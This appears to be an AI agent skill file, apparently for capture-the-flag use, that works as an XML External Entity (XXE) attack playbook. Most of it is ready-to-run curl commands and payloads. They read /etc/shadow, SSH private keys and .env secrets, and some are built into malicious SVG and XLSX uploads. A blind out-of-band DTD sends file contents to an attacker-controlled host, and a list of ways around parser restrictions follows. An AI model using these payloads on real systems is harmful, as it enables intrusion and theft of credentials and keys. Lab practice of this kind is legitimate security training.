| name | exploit-xxe |
| description | XML External Entity (XXE) injection — local file reading via XML parsers, SOAP/WSDL API exploitation, blind out-of-band exfiltration, SVG/DOCX/XLSX upload XXE. Use for any challenge involving XML processing, SOAP endpoints, WSDL services, or XML-based file upload parsing. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"xxe, xml injection, xml external entity, soap, xml parser, dtd, svg upload, docx upload, wsdl, xml api, xml upload, xml processing, external entity, file read xml, soap api, soap service, Nice SOAP, Library, xml content type, application/xml, text/xml","tags":"web-application, xxe, xml, injection, soap, file-read","mitre_attack":"T1190, T1005"} |
XML External Entity (XXE) Injection
Exploits XML parsers that process external entity definitions, enabling local file reading, SSRF, or denial of service. Common in SOAP APIs, XML file uploads, SVG processing, and any endpoint accepting XML input.
Detection
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'
curl -s 'http://<TARGET>/api' -H 'Content-Type: text/xml' -d '<root>test</root>'
curl -s 'http://<TARGET>/?wsdl'
curl -s 'http://<TARGET>/ws?wsdl'
curl -s 'http://<TARGET>/service?wsdl'
curl -s 'http://<TARGET>/soap'
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse'
Basic XXE — File Read
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /opt/app/config.json; do
echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://$f\">]><root>&xxe;</root>"
done
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>
<root>&xxe;</root>'
XXE via SOAP
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<query>&xxe;</query>
</soapenv:Body>
</soapenv:Envelope>'
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/">
<soapenv:Body>
<ns:getData>
<ns:input>&xxe;</ns:input>
</ns:getData>
</soapenv:Body>
</soapenv:Envelope>'
XXE via File Upload
cat > xxe.svg << 'SVGEOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
SVGEOF
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.svg'
mkdir -p xxe_xlsx/_rels xxe_xlsx/xl
echo '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>&xxe;</Types>' > xxe_xlsx/\[Content_Types\].xml
cd xxe_xlsx && zip -r ../xxe.xlsx . && cd ..
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.xlsx'
Blind XXE (Out-of-Band)
cat > /tmp/evil.dtd << 'DTDEOF'
<!ENTITY % file SYSTEM "file:///.env">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://<ATTACKER>:8888/?d=%file;'>">
%eval;
%exfil;
DTDEOF
python3 -m http.server 8888 --directory /tmp &
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<ATTACKER>:8888/evil.dtd">
%xxe;
]>
<root>test</root>'
XXE via Different Content Types
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]>
<root>&xxe;</root>'
curl -s 'http://<TARGET>/api' -d 'xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2F.env%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E'
Common Pitfalls
- Some parsers disallow
SYSTEM entities → try PUBLIC entities
- Some block
file:// → try php://filter/convert.base64-encode/resource=/.env
- Multi-line files may break XML → use CDATA or base64 wrapper
- If entity expansion disabled → try parameter entities (
%xxe;)